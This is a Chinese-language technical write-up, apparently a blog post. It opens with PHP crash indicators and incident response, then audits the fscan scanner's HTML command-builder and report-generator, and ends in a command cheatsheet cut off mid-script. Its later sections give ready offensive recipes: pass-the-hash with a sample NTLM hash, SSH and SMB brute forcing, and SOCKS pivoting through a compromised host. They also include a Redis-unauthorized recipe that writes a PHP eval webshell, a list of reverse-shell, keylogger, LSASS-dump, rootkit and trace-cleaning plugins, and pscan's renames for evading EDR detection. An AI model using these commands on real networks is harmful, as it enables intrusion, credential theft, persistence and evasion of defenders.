zend_mm_heap corrupted

关键判据:... exhausted in Unknown on line 0 —— Unknown on line 0 说明错误发生在用户脚本开始之前。这是区分\"业务代码写崩了\"和\"漏洞被触发\"的关键特征。官方测试用例的 EXPECT 全部是这个格式。

其他信号:

  • • Apache/FPM child 异常退出、SIGABRT、segfault、频繁 respawn
  • • 同一客户端短时间内发送超大 multipart、超多 part、超长 header 或大量 upload progress 字段
  • • max_input_vars warning 与后续 OOM 连续出现
  • • Set-Cookie: PHPSESSID 异常变长、含不可打印字符或二进制样式内容(这是地址泄漏链的指纹)
  • • FPM pool 在低业务量时快速耗尽
  • • 新出现的 www-data / apache / nginx / php-fpm 子进程、cron、systemd timer 或文件写入

应急响应

    1. 隔离实例和共享存储,保留内存、进程树、网络连接、日志和容器层
    1. 轮换 worker 可读的所有凭据:数据库、对象存储、API、CI/CD、第三方服务
    1. 排查 /tmp、上传目录、session 目录、webroot、cron、systemd、SSH authorized\_keys、容器挂载、K8s service account
    1. 检查 worker 到内网管理口、Redis、数据库、云元数据服务的异常连接
  1. 5. 不要只删一个可疑文件就恢复服务——完整 RCE 通常伴随凭据获取和持久化

第二部分 · fscan 工具链审计

2.1 用途、名字、以及它为何诞生

用途

fscan 本身是 shadow1ng 的 Go 语言内网综合扫描工具(v2.2.0,bf036fd,2026-07-10),属于 knownsec 404 StarLink(星链计划)。扫描流程六阶段:

目标输入 → 存活探测 → 端口扫描 → 服务识别 → 弱口令爆破 → 漏洞检测与利用
   │           │          │          │            │              │
   │      ICMP/Ping    TCP连接    指纹匹配    28种服务爆破    MS17-010/Redis
   │      存活统计     约140端口   20+服务    内置字典+自定义   POC扫描/未授权

每个阶段依赖上一阶段的结果:只有存活主机才扫端口,只有开放端口才做服务识别,爆破发生在服务识别之后(所以只对 SSH 端口做 SSH 爆破),POC 扫描在 Web 指纹识别之后。

fscan-toolkit-main 是围绕 fscan 的图形化管理套件,两个纯静态 HTML:

文件 职责
fscan-command-builder.html 命令生成器:74 个参数可视化编排,fscan/pscan/fscan-web 三工具切换
fscan-report-generator.html 报告生成器:解析 fscan 输出的 TXT/JSON/CSV,生成可打印 PDF 的专业报告

名字的寓意

需要分清三层:

名字 含义 依据
fscan fscan 家族的根名。社区通常读作 fast scan / f-scan,但官方与工具包均未给出字面释义 仓库地址 github.com/shadow1ng/fscan,星链计划成员工具均用单字母前缀区分用途(fscan / pscan / kscan 等)
pscan fscan v2.1.3-rc 的魔改红队版,\"p\" 指向 penetration / 红队行动场景 pscan 手册自述:\"针对红队场景进行了参数混淆与特征规避\"
fscan-toolkit 本套件自身。名字里没有独立寓意——它就是 fscan 的周边 README 标题\"fscan 图形化管理工具套件\"

\"星链计划\"这个名字本身值得记一下:knownsec 主导,fscan 是其中最出名的成员。这个名字暗示的是\"把散落的能力串成链\"——fscan 在链上的位置是内网侦察与横向移动的自动化节点。

它为何而诞生(直接证据)

docs/superpowers/specs/2026-08-10-fscan-command-builder-design.md 写得很清楚:

fscan 是一款非常优秀的内网综合扫描工具,但它有 74 个命令行参数,以及两个工具(fscan / pscan)的参数名各不相同,甚至存在同名参数含义完全不同的陷阱。

所以这个套件解决的是一个具体的、可验证的痛点:

  1. 1. 参数太多——74 个,记忆成本高于翻手册的成本
  2. 2. 两个工具的参数名不同——-h(fscan 目标) vs -t(pscan 目标),-hf(fscan 主机文件) vs -hf(pscan 哈希文件),同一个 -hf 在两个工具里含义完全相反
  3. 3. 纯命令行不产出报告——fscan 只给 TXT/JSON/CSV,而交付物需要排版好的报告

设计文档日期 2026-08-10。也就是说,这个套件诞生于 PHP2Shell 之前,与本次事件无关。


2.2 源码审计:架构

单文件三层结构

┌─ <style>  (行 7–308)  ─────────────────────────────────────┐
│  CSS 自定义属性驱动主题(--bg / --accent / --danger …)       │
│  @media 1050px / 780px 两档响应式                            │
└──────────────────────────────────────────────────────────────┘
┌─ <body>   (行 310–351) ─────────────────────────────────────┐
│  #header  工具选择 / 预设 / 历史 / 设置                      │
│  #app     #sidebar(10 项导航) + #main(10 个折叠面板)          │
│  #footer  #cmd-box(实时命令) + 复制 / 运行说明               │
│  #toast   复制反馈                                           │
└──────────────────────────────────────────────────────────────┘
┌─ <script> (行 352–1060) ────────────────────────────────────┐
│  DATA   CATS / PORT_CHIPS / UA_CHIPS / DOMAIN_CHIPS /        │
│         RATE_CHIPS / THREAD_CHIPS / PARAMS                   │
│  STATE  tool / TOOLS / CFG_KEY / vals / presetName          │
│  HELPERS isWeb / aParams / flag / vis / esc / smartCIDR     │
│  RENDER renderAll / renderSidebar / renderMain / renderF     │
│  EVENTS onToolSwitch / onCh / onTg / shC / hiC / pickF       │
│  CMD    genCmd / updateCmd / copyCmd / showRun               │
│  CFG    loadCfg / saveCfg / getCfgDir                        │
│  STATE  addHistory / loadHistoryList / loadHistoryCmd        │
│  PRESET loadPresetList / loadPreset / showSavePreset        │
└──────────────────────────────────────────────────────────────┘

核心抽象:PARAMS 一张表

整个工具的智能全部压在一个数组上。每个元素描述一个参数在三个工具里的全部表现:

{
  id:'hostFile', cat:'target', t:'file', fs:'-hf', ps:'-tf', o:2,
label:'主机文件',
desc:'从文件读取目标列表...',
d:'',                    // 默认值
w:'sm',                  // 输入框宽度
dep:null,                // 依赖:'!toggleId' 表示 toggleId 为 true 时隐藏
wo:false,                // 是否为 fscan-web 专属
chips:[...], opts:[...], smartip:true
}

三个字段构成了全部的\"双工具差异\"处理:

字段 作用
fs fscan 的参数名
ps pscan 的参数名
ps: null pscan 没有此参数 → 切换到 pscan 时该字段自动隐藏并标注\"pscan无\"
const flag = p => isWeb() ? null : (tool === 'pscan' ? p.ps : p.fs);

这一行是整个套件的设计核心:表单是逻辑 ID 驱动的,参数名是查表得到的。换工具不需要改表单结构,只需要换查表来源。

命令生成规则

function genCmd(){
const parts = [ (dir ? dir + '\\\\' : '') + TOOLS[tool].exe ];
const ord = CATS.map(c =>aParams().filter(p => p.cat===c.id && vis(p))).flat();
for(const p of ord){
    const f = flag(p); if(!f) continue;
    if(p.t==='toggle'){ if(vals[p.id]==='true') parts.push(f); }
    else{
      const v = vals[p.id];
      if(!v && v!=='0') continue;
      if(p.d!==undefined && String(v)===String(p.d) && p.t!=='text') continue;
      parts.push(`${f} ${v}`);
    }
  }
return parts.join(' ');
}

三条规则:toggle 为真才输出 → 空值不输出 → 非 text 类型且等于默认值则不输出。

条件联动

function vis(p){
if(isWeb() && !p.wo) returnfalse;
if(!isWeb() && p.wo) returnfalse;
if(vals['aliveOnly']==='true' && !WHITELIST.includes(p.id)) returnfalse;
if(vals['noBrute']==='true' && p.cat==='cred') returnfalse;
if(vals['noPOC']==='true' && ['pocName','pocPath','pocConcurrency','fullPOC','dns'].includes(p.id)) returnfalse;
if(p.dep && p.dep.startsWith('!') && vals[p.dep.slice(1)]==='true') returnfalse;
if(tool==='pscan' && p.ps===null && p.fs!==null && !p.wo) returnfalse;
returntrue;
}

三档联动粒度:全局开关按类目整体收起(cred 整类、poc 相关字段集)、字段级依赖(dep)、工具级缺失(pscan 无此参数)。

aliveOnly 用的是白名单而非黑名单——只保留目标、开关、输出相关字段,其余全隐藏。

状态持久化

键 内容 容量
fscan-cmd-toolcfg {dir, fscan, pscan, web} 三个可执行文件路径 —
fscan-cmd-presets {名称: {tool, values, saved}} 无上限
fscan-cmd-history [{cmd, tool, time}] 20 条,LRU 截断

报告生成器的解析架构

parseResult(text)      正则分节解析 TXT
  ├─ 节头识别(中文 + 英文双支持)
  │   存活主机 / alive hosts
  │   开放端口 / open ports
  │   服务信息 / service
  │   Web服务   / web serv
  │   漏洞     / vuln
  └─ 逐行按节匹配:IP / IP:port / IP:port+info / [+] 漏洞描述

parseJSON(jsonText)    自适应 schema
  ├─ hosts | alive
  ├─ ports | open_ports
  ├─ services | service_info
  ├─ web | web_services
  ├─ vulnerabilities | vulns | findings
  └─ 兜底:全空时把任意数组字段摊平成 info 级条目

RISK 关键字定级(正则数组)
  critical: /ms17[-_]?010/i  /永恒之蓝/i  /smbghost/i  /CVE-2020-0796/i
             /RCE/i  /远程代码执行/i  /反序列化/i  /任意文件上传/i
  high:     /弱口令/i  /未授权访问/i  /弱密码/i  /密码为空/i  /默认密码/i
             /任意文件读取/i  /SQL注入/i  /命令注入/i  /信息泄露/i  /敏感信息/i
  medium:   /版本.*泄露/i  /不安全的配置/i  /明文传输/i  /过期的.*版本/i  /可匿名访问/i
  info:     兜底

定级是纯关键字匹配,没有 CVSS、没有可利用性判断。这在报告里可能产生误导:一个只识别出版本泄露的模块被归为\"中危\",但如果那个版本恰好有可利用 RCE,报告不会体现。这一点在 §3.5 记为缺陷。


2.3 设计妙处

1. 参数数据库 = 单一事实来源
74 个参数、3 个工具、10 个面板,全部从一个数组渲染。改一个参数只改一行,不动表单、不动命令生成、不动联动逻辑。这是正确的抽象层级——参数名是数据,不是代码。

2. 工具切换不重建表单
表单按逻辑 ID(id)渲染,参数名在渲染时才查表(flag(p))。所以 pscan 模式下 -h 变 -t,而输入框里已经填好的值原封不动。这解决了\"同一份配置要在两个工具间迁移\"的实际痛点——审计时经常需要用 fscan 扫描、用 pscan 复测。

3. 切换工具即自动隐藏不兼容参数
ps: null 的设计让\"pscan 没有这个能力\"这件事在 UI 层就消失了,而不是留一个灰掉的输入框。设计文档把这条写进了自检项,实现也确实做了。

4. 命令顺序 = 语义顺序,不是字母序
按 CATS 的顺序输出:目标 → 端口 → 扫描控制 → 功能开关 → 凭据 → Web → 利用 → 后渗透 → 代理 → 输出。

开关类参数天然排在前面(toggles 在 cred 之前),所以生成的命令读起来是\"先声明我要什么模式,再给参数\",而不是参数乱序。这比字母序可读得多——人读命令靠的是语义分组。

5. 零依赖、零安装、离线
两个 HTML,没有 CDN、没有外部字体、没有网络请求。grep 全文没有 fetch( / XMLHttpRequest / <script src=。这在安全工具里是硬要求:一个渗透工具的 GUI 挂了外部资源,等于把使用者的扫描行为和目标信息透传给第三方。工具包还额外把 *.exe``*.dll``*.so 加进 .gitignore——防止把工具二进制误提交进仓库,这个细节考虑得很细。

6. 用 localStorage 而非需要服务器
配置方案、历史、工具路径全在浏览器本地。审计人员可以在自己的机器上配置好一整套扫描方案(目标网段、字典路径、输出路径),数据不出本机。

7. 报告生成器支持中英双节头
parseResult 里每一节都写了中文 + 英文两条正则。fscan 的 -lang en 输出和中文版结构不同,双正则保证换语言不用换工具。

8. 13 组端口预设里的\"默认140端口\"
{l:'🌐 默认140端口', v:''} —— 值是空字符串,代表\"不传 -p,用 fscan 内置默认\"。这个设计很省事:内置默认端口集本来就在工具里,手工抄一遍既容易错又没有意义。


2.4 pscan 的魔改思路

pscan 是 fscan v2.1.3-rc 的红队版,核心目标是规避 HIDS 与流量检测设备的特征识别:

修改项 具体做法 防御方能看到什么
参数名全部混淆 24 组映射(-h→-t、-m→-st、-user→-usr…) 命令行参数名
Banner 静默 启动不输出 ASCII Logo 与版本信息 终端输出、进程日志
Go 模块路径改名 改为 test,去掉 github.com/shadow1ng/fscan 二进制 strings 特征
源码字符串清理 代码中不出现 fscan 相关字符串 二进制 strings 特征
调试日志改名 fscan_debug.log → tsk_debug.log 落盘文件

这是当前 EDR / HIDS 检测面的一个真实缺口:绝大多数主机侧检测规则依赖工具的静态特征(文件路径、哈希、strings 命中、命令行模式)。参数混淆 + 模块路径改名这两项,正好打的就是\"基于已知工具名做规则\"这条最省力的检测路径。

防守侧能做的:不要只匹配 -h、-m、-user 这类参数名(pscan 已经证明这套会失效),要匹配行为序列(短时间内大量连接尝试 + 特定协议握手模式 + 后续的认证爆破节奏)。这与 PHP2Shell 那条\"UA 是最容易被改的,语义特征才稳定\"是同一回事。

工具包支持 pscan 本身是有争议的设计取舍:命令生成器把参数名混淆做成了\"一键切换\"的便利功能。这在授权测试里是合理的效率工具,在防守视角则意味着混淆参数的批量生成变得极其容易。工具包的 README 已有授权声明和免责声明,这一点上没毛病。


2.5 源码审计:缺陷清单

7 处实现层缺陷

# 位置 问题 影响 建议
D1 pickF() vals[id] = i.files[0].name — 只取文件名,丢弃完整路径 用户在 D:\\pentest\\dict\\users.txt 选了文件,生成的是 -userf users.txt,而 fscan 在当前目录找不到它。这是最容易踩且最难自查的一个坑(命令看起来完全正常) 浏览器安全模型下拿不到真实路径,应改为:读取路径后自动转成相对当前工作目录的相对路径,或退化为提示\"请手动粘贴完整路径\",并把该字段标红
D2 genCmd() if(p.d!==undefined && String(v)===String(p.d) && p.t!=='text') continue; — 非 text 类型且等于默认值时静默省略 -o result.txt (默认值)永远不会被输出;-t 600(默认线程数)不会输出。用户无法显式传默认值,在需要覆盖工具默认行为(比如某些版本的 -f txt 实际默认不是 txt)时会踩坑 保留省略逻辑,但加一个\"强制包含默认值\"的开关;或至少在 UI 上标注\"该值等于默认,已省略\"
D3 esc() 只转义 &``<``>,不转义 \" 多个字段用 value=\"${esc(v)}\" 双引号属性插值(file 类型、loadHistoryList 的 title=、showCfg 的 value=)。含 \" 的输入会破坏属性边界。因为值来自用户自己的输入框和 localStorage,实际是 self-XSS,风险低,但这是实实在在的编码缺陷 esc 补上 &quot; 与 &#39;;或统一改用 textContent
D4 updateCmd() h.replace(new RegExp(...), ''+esc(exe)+'') — 替换串未转义 $ 若 exe 路径含 $&、$1 等,替换串的特殊语义会导致高亮错位($& 会被解释成\"整个匹配\") 替换串用函数形式 () => ''+esc(exe) 规避 $ 语义
D5 smartCIDR() 正则 /(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/不校验 0–255 输入 999.1.1.1 会生成 999.1.1.0/24 这种非法 CIDR;IPv6 完全不支持 逐段做 parseInt(x) <= 255 校验;匹配失败时给出提示而非静默生成
D6 vis() aliveOnly 白名单里 'excludeHosts','excludeHostFile'重复出现两次 无功能影响,但是复制粘贴残留;同时白名单不含 proxy/socks5/iface,在 alive-only 模式下无法设置强制代理 清理重复项;确认 alive-only 场景是否需要代理
D7 loadHistoryCmd() 直接 cmd-box.textContent = e.cmd,绕过高亮渲染,也不回填 vals 从历史记录加载后,底部显示的命令与左侧表单的输入框不一致(表单还是当前值)。用户会以为命令来自当前配置 加载历史时反解参数回填 vals 并 renderAll();或至少高亮显示并标注\"历史命令,未回填表单\"

4 处设计规范未实现项

对照 docs/superpowers/specs/2026-08-10-fscan-command-builder-design.md:

规范条目 规范描述 实际实现 影响
S1 \"-ao → hides panels: port, cred, web, exploit, post-exploit, output format\" 白名单保留了 output 类字段 影响很小,实测输出格式在 alive-only 下仍有用
S2 \"Mode switching (fscan only) shows relevant cred fields for that service\" 未实现 。scanMode 是 combo,但选 ssh 不会联动收敛凭据字段 中 。选 -m ssh 时仍显示 11 个凭据字段,大部分不适用
S3 \"Redis exploit fields (rwp/rwc/rwf/rs) show only when Redis mode or Redis-related ports are targeted\" 未实现 。这些字段永远显示 中 。与 -noredis 开关存在语义冲突
S4 \"Preset System — Delete: option in the dropdown\" 未实现 。loadPresetList 只渲染加载项,无删除入口 低–中 。方案只能新增不能删,localStorage 会逐渐堆积

另外两条规范与实现的命名差异(不影响功能,但会让人对着规范看代码时困惑):规范写 paramDefs / category / fscan / pscan / web / default / dependsOn / hint,实现写 PARAMS / cat / fs / ps / wo / d / dep / desc。

报告生成器的两个缺陷

# 问题 影响
D8 风险定级是纯关键字匹配,无 CVSS、无可利用性判断 \"版本泄露\"→中危,但若该版本存在公开 RCE 则报告完全不体现。对交付给客户的报告会系统性低估风险
D9 classifyRisk 按 Object.entries(RISK) 顺序短路匹配,critical 优先 这个顺序是对的,但 critical 的 /RCE/i 会被 未授权访问 之类的高危描述误伤——反过来,/RCE/i 也会命中\"CVE-XXXX 无 RCE\"这类否定表述

一个设计文档与实现都存在的不一致:README 写\"同名冲突警告:pscan 的 -hf 是哈希文件,fscan 的 -hf 是主机文件 —— 切换时界面会醒目高亮提示\"。实现里确实处理了这个坑(通过 fs/ps 双字段,保证不会生成混用的命令),但没有专门的冲突检测器。实际生效的机制是\"每个字段旁显示当前工具的实际参数名徽标\"——切到 pscan 后徽标从 -hf 变成 -tf,用户能看出来。这是有效的,但不是 README 描述的那种\"醒目冲突警告\"。


2.6 实网攻防落地

防守侧(资产测绘与暴露面评估)

# 阶段一:网段存活 —— 最轻量的一步
.\\fscan.exe -h 192.168.1.0/24 -ao -no

# 阶段二:端口与服务 —— 关掉爆破和 POC,纯测绘
.\\fscan.exe -h 192.168.1.0/24 -nobr -nopoc -np -rate 500 -o recon.txt

-np(跳过存活探测)在这两个阶段之间很关键:阶段一已经拿到存活列表,阶段二再探一次是浪费。-rate 500 把发包速率压到每分钟 500,避免在内网核心网段把链路打满。

授权测试侧

# 定点爆破 + 凭据复用
.\\fscan.exe -h10.0.0.0/24-m smb -domain corp.local -user administrator -pwd'P@ssw0rd'

# 哈希传递(拿到 hash 后不需要明文口令)
.\\fscan.exe -h10.0.0.50-hash\"aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0\"

# 横向移动前的网段筛选:先只扫 SSH
.\\fscan.exe -h10.0.0.0/16-p22-m ssh -userf users.txt -pwdf pass.txt -o ssh_hits.txt

蓝队用法

fscan 在蓝队这边最实用的不是扫描,是批量基线核查。把 §1.7 的检查项写成脚本,对内网 PHP 资产批量执行:

# 用 fscan 的 -local 插件做批量信息收集(授权范围内)
.\\fscan.exe -h 10.0.0.0/24 -m web -p 80,8080,8000 -local systeminfo -no

落地时的三个真实约束

约束 说明
D1(路径丢失)会影响字典文件 -userf / -pwdf / -hashf / -sshkey / -pocpath 全是 file 类型,全部受影响。这是实战中最容易白跑一次的坑
-np 在禁 Ping 网络里是必需项,不是优化项 很多企业网络禁 ICMP。不加 -np,存活探测全部失败,fscan 会认为网段内无主机
执行顺序有依赖 fscan 的爆破依赖服务识别结果。-m 指定单一模式时,爆破范围会收窄到该协议——这是好事,但要知道 -m all 和 -m smb 的包量差一个数量级

2.7 骚操作

以下都是工具已实现的功能,组合起来用是它真正的价值所在。

1. -start-socks5 —— 让扫描器变成跳板
拿到一台可控主机后,在它上面起 SOCKS5 代理,再用 -socks5 让后续扫描从该主机出发。这是内网横向的经典打法:把扫描源变成已经被入侵的机器,流量看起来更\"像内网主机\"。

2. -iface —— VPN 场景的源地址绑定
多网卡机器(尤其是连着 VPN 的)上,不指定源地址会走错网卡。加上 -iface 10.8.0.5 强制从 VPN 网卡出去。

3. -local 插件矩阵 —— 21 个本地动作
systeminfo / reverseshell / forwardshell / socks5proxy / keylogger / minidump(LSASS 凭据导出)/ sshkey(SSH 公钥注入)/ cleaner(痕迹清理)/ crontask / systemdservice / ldpreload(LD\_PRELOAD Rootkit)/ winregistry / winschtask / winservice / winstartup / winlogon / winwmi / winbits / winifeo / avdetect / download。

其中 minidump(LSASS 凭据导出)和 ldpreload(用户态 Rootkit)不是通用功能,是明确的定向工具。

4. -sc + -rsh + -fsh-port 的三种落地方式
-sc 走 MS17-010 的 Shellcode 注入;-rsh ip:port 是反弹;-fsh-port 是正向监听。一个工具同时覆盖正向和反弹两条链路。

5. -rs 的跨平台性 —— Redis 写计划任务
同一个参数,在 Windows 上写计划任务、在 Linux 上写 crontab。Redis 未授权是内网里最常见的初始入口,这条链直接通往持久化。

6. -noredis —— 在防守方手里反而更有用
发现 Redis 未授权时,主动关闭利用模块只做告警,避免在客户生产环境上真的写入文件或起计划任务。扫描器和利用器的开关分离,是把同一个工具用在防守侧的前提。

7. -local cleaner —— 痕迹清理
红队收尾动作。这个插件存在本身说明了这个工具的定位。

8. -pocpath + -pocname —— 自定义 POC 生态
支持 Xray POC 格式。-pocname 做关键字筛选可以显著减少发包量;-pocpath 指向自建 POC 目录,可以把企业内部积累的检测规则直接接进来。

9. -dns —— DNSLog 外带
无回显漏洞的检测手段。配合 -pocname 可以只对特定漏洞开 DNSLog,避免产生大量无效外带。

10. -log 的日志级别控制 —— 隐形的取证能力
-log base,info,success 是默认。改成 base,info,success,error,debug 可以拿到完整的发包级日志。这条在事后复盘\"到底发到了哪些端口\"时比扫描结果本身更有用。


第三部分 · 命令配方 cheatsheet

3.1 fscan → pscan 完整映射表

从 PARAMS 源码逐条提取(24 组重命名):

功能 fscan pscan 备注
目标主机 -h -t
主机文件 -hf -tf ⚠ pscan 的 -hf 是哈希文件,不是主机文件
排除主机 -eh -et
排除主机文件 -ehf -etf
端口列表 -p -tp
端口文件 -pf -tpf
排除端口 -ep -etp
扫描模式 -m -st
端口扫描线程 -t -tn ⚠ fscan 的 -t 是线程,pscan 的 -t 是目标
模块线程 -mt -mt 不变
超时 -time -tm
端口排除 -ep -etp
用户名 -user -usr
密码 -pwd -pw
额外用户名 -usera -ua
额外密码 -pwda -pa
用户名字典 -userf -uf
密码字典 -pwdf -pf ⚠ pscan 的 -pf 是密码文件,fscan 的 -pf 是端口文件
用户名:密码对 -upf -up
域名 -domain -dm
NTLM 哈希 -hash -hv
哈希文件 -hashf -hf ⚠ 与 fscan 的 -hf 冲突
SSH 私钥 -sshkey -sk
目标 URL -u -url
URL 文件 -uf -urlf
自定义 UA -ua 无 pscan 无此参数,界面自动隐藏
跳过网段预筛 -nsp 无 pscan 无此参数

保持不变的参数(共 51 个):-ao``-np``-ntp``-nobr``-nopoc``-noredis``-full``-silent``-no``-nocolor``-nopg``-debug``-perf``-lang``-dns``-cookie``-num``-retry``-rate``-maxpkts``-icmp-rate``-proxy``-socks5``-iface``-local``-gt``-max-redirect``-wt``-rf``-rs``-rsh``-rwp``-rwc``-rwf``-sc``-fsh-port``-start-socks5``-persistence-file``-win-pe``-download-url``-download-path``-keylog-output``-log``-pocname``-pocpath

三条同名冲突:-hf(fscan 主机文件 / pscan 哈希文件)、-pf(fscan 端口文件 / pscan 密码字典文件)、-t(fscan 线程数 / pscan 目标主机)。手写混合命令时这三个必错。


3.2 参数语义分层

把 74 个参数按\"在攻击链上的位置\"重新组织,配方就自然浮出来了:

层 参数 语义
L0 作用域 -h``-hf``-eh``-ehf``-p``-pf``-ep 划定\"这次打哪里\"
L1 节奏 -t``-mt``-time``-wt``-gt``-rate``-maxpkts``-icmp-rate``-num``-retry``-np``-ntp``-nsp``-ao 划定\"怎么打、打多快\"
L2 能力开关 -nobr``-nopoc``-noredis``-full``-m 划定\"用哪些能力\"
L3 凭据 -user``-pwd``-usera``-pwda``-userf``-pwdf``-upf``-domain``-hash``-hashf``-sshkey 划定\"用什么身份进\"
L4 Web 上下文 -u``-uf``-cookie``-ua``-max-redirect``-pocname``-pocpath``-dns 划定\"在什么网页语境里测\"
L5 利用与落地 -rf``-rs``-rwp``-rwc``-rwf``-sc``-rsh``-fsh-port``-local``-persistence-file``-win-pe``-download-url``-download-path``-keylog-output``-start-socks5 划定\"拿到后做什么\"
L6 通路 -proxy``-socks5``-iface 划定\"从哪出去\"
L7 产出 -o``-f``-no``-silent``-nocolor``-nopg``-debug``-perf``-log``-lang 划定\"留下什么\"

这张分层表就是配方系统的骨架——同一层的参数可以自由替换,跨层的组合才是有意义的命令。


3.3 配方库

每条配方标注了 L 层组成,可直接当作脚本模板。

R1 静默测绘(最常用的第一条)

L0: -h <网段>
L1: -np -rate 300 -time 5
L2: -nobr -nopoc
L7: -no -silent -nocolor
.\\fscan.exe -h 192.168.1.0/24 -np -rate 300 -time 5 -nobr -nopoc -no -silent -nocolor

R2 分阶段推进(蓝队/渗透通用)

阶段1 存活    : -h <网段> -ao -no
阶段2 端口    : -hf alive.txt -nobr -nopoc -np
阶段3 服务    : -hf alive.txt -p <窄端口> -nobr -nopoc
阶段4 爆破    : -hf alive.txt -m ssh -userf users.txt -pwdf pass.txt

关键点:每阶段用上一阶段的 -hf 产出作为输入,扫描量逐级收敛。

R3 凭据传递优先

L3: -hashf hashes.txt -m smb
L2: -nopoc
.\\fscan.exe -h 10.0.0.0/24 -m smb -hashf hashes.txt -nopoc -o pth.txt

拿到 hash 后优先走 -hash/-hashf,比爆破快一个数量级。

R4 静默定点(只对一台机器,不触发告警)

L1: -t 50 -rate 60 -icmp-rate 0.05 -time 10
L7: -silent -no

-rate 60 = 每分钟 60 个包,几乎不会触发流量基线告警。

R5 代理出口

L6: -socks5 socks5://user:[email protected]:1080
L1: -iface 10.8.0.5

R6 从失陷主机开跳板

.\\fscan.exe -h 10.0.0.50 -local socks5proxy -start-socks5 1080
# 另一台机器
.\\fscan.exe -h 10.0.0.0/16 -socks5 10.0.0.50:1080

R7 Redis 未授权(发现 + 告警,不落地)

发现: .\\fscan.exe -h <网段> -p 6379 -m redis -noredis
落地: .\\fscan.exe -h <ip> -m redis -rf id_rsa.pub
写WebShell: .\\fscan.exe -h <ip> -m redis -rwp /var/www/html -rwc \"<?php @eval($_POST['cmd']);?>\"

R8 全量 POC(慢但全)

L2: -full
L1: -num 50
L4: -dns

-full 遍历所有 POC。配 -dns 用 DNSLog 兜住无回显场景。

R9 端口收窄(比 -nobr 更有效的降噪)

L0: -p 22,80,443,3306,6379,27017
L2: -nobr -nopoc

不要用 -ep 445,3389 这种黑名单——漏一个就是一次全端口扫描。黑名单适合\"知道要排除什么\"的场景,白名单适合\"只关心什么\"的场景。默认用白名单。

R10 结果复用

L7: -f json -o scan.json

JSON 格式喂给 fscan-report-generator.html,比解析 TXT 稳定得多(报告生成器的 parseJSON 支持多 schema 自适应,容错比正则分节强)。


3.4 参数即模块:JSON 驱动的命令生成器

把参数表抽出来,命令生成就变成纯数据处理,可以脚本化、可以批量、可以和 CI 接起来。

#!/usr/bin/env python3
# fscan 命令配方生成器 —— 参数视为可编程的功能模块
import json, subprocess, sys

# 参数映射表:逻辑 ID → (fscan flag, pscan flag)
PARAMS = {
    \"target\":      {\"fs\": \"-h\",  \"ps\": \"-t\",   \"cat\": \"L0\", \"type\": \"value\"},
    \"hostFile\":    {\"fs\": \"-hf\", \"ps\": \"-tf\",  \"cat\": \"L0\", \"type\": \"value\"},
    \"ports\":       {\"fs\": \"-p\",  \"ps\": \"-tp\",  \"cat\": \"L0\", \"type\": \"value\"},
    \"excludePorts\":{\"fs\": \"-ep\", \"ps\": \"-etp\", \"cat\": \"L0\", \"type\": \"value\"},
    \"threads\":     {\"fs\": \"-t\",  \"ps\": \"-tn\",  \"cat\": \"L1\", \"type\": \"value\"},
    \"timeout\":     {\"fs\": \"-time\",\"ps\": \"-tm\", \"cat\": \"L1\", \"type\": \"value\"},
    \"rate\":        {\"fs\": \"-rate\",\"ps\":\"-rate\",\"cat\": \"L1\", \"type\": \"value\"},
    \"icmpRate\":    {\"fs\": \"-icmp-rate\",\"ps\":\"-icmp-rate\",\"cat\":\"L1\",\"type\":\"value\"},
    \"maxPackets\":  {\"fs\": \"-maxpkts\",\"ps\":\"-maxpkts\",\"cat\":\"L1\",\"type\":\"value\"},
    \"retries\":     {\"fs\": \"-retry\",\"ps\": \"-retry\",\"cat\":\"L1\",\"type\": \"value\"},
    \"pocConcurrency\":{\"fs\":\"-num\",\"ps\": \"-num\",  \"cat\": \"L1\", \"type\": \"value\"},
    \"aliveOnly\":   {\"fs\": \"-ao\", \"ps\": \"-ao\",   \"cat\": \"L2\", \"type\": \"flag\"},
    \"skipPing\":    {\"fs\": \"-np\", \"ps\": \"-np\",   \"cat\": \"L2\", \"type\": \"flag\"},
    \"skipTCP\":     {\"fs\": \"-ntp\",\"ps\": \"-ntp\",  \"cat\": \"L2\", \"type\": \"flag\"},
    \"skipSubnet\":  {\"fs\": \"-nsp\",\"ps\": None,   \"cat\": \"L2\", \"type\": \"flag\"},
    \"noBrute\":     {\"fs\": \"-nobr\",\"ps\": \"-nobr\", \"cat\": \"L2\", \"type\": \"flag\"},
    \"noPOC\":       {\"fs\": \"-nopoc\",\"ps\":\"-nopoc\",\"cat\":\"L2\",\"type\": \"flag\"},
    \"noRedis\":     {\"fs\": \"-noredis\",\"ps\":\"-noredis\",\"cat\":\"L2\",\"type\":\" \"},
    \"fullPOC\":     {\"fs\": \"-full\",\"ps\": \"-full\", \"cat\": \"L2\", \"type\": \"flag\"},
    \"username\":    {\"fs\": \"-user\",\"ps\": \"-usr\", \"cat\": \"L3\", \"type\": \"value\"},
    \"password\":    {\"fs\": \"-pwd\", \"ps\": \"-pw\",  \"cat\": \"L3\", \"type\": \"value\"},
    \"extraUsers\":  {\"fs\": \"-usera\",\"ps\":\"-ua\",  \"cat\": \"L3\", \"type\": \"value\"},
    \"extraPass\":   {\"fs\": \"-pwda\",\"ps\":\"-pa\",  \"cat\": \"L3\", \"type\": \"value\"},
    \"userFile\":    {\"fs\": \"-userf\",\"ps\":\"-uf\", \"cat\": \"L3\", \"type\": \"value\"},
    \"passFile\":    {\"fs\": \"-pwdf\",\"ps\":\"-pf\",  \"cat\": \"L3\", \"type\": \"value\"},
    \"userPassFile\":{\"fs\": \"-upf\", \"ps\": \"-up\",  \"cat\": \"L3\", \"type\": \"value\"},
    \"domain\":      {\"fs\": \"-domain\",\"ps\":\"-dm\",\"cat\": \"L3\", \"type\": \"value\"},
    \"ntlmHash\":    {\"fs\": \"-hash\",\"ps\": \"-hv\",  \"cat\": \"L3\", \"type\": \"value\"},
    \"hashFile\":    {\"fs\": \"-hashf\",\"ps\":\"-hf\", \"cat\": \"L3\", \"type\": \"value\"},
    \"sshKey\":      {\"fs\": \"-sshkey\",\"ps\":\"-sk\",\"cat\": \"L3\", \"type\": \"value\"},
    \"urlTarget\":   {\"fs\": \"-u\",  \"ps\": \"-url\", \"cat\": \"L4\", \"type\": \"value\"},
    \"urlFile\":     {\"fs\": \"-uf\", \"ps\": \"-urlf\",\"cat\": \"L4\", \"type\": \"value\"},
    \"cookie\":      {\"fs\": \"-cookie\",\"ps\":\"-cookie\",\"cat\":\"L4\",\"type\":\"value\"},
    \"userAgent\":   {\"fs\": \"-ua\", \"ps\": None,   \"cat\": \"L4\", \"type\": \"value\"},
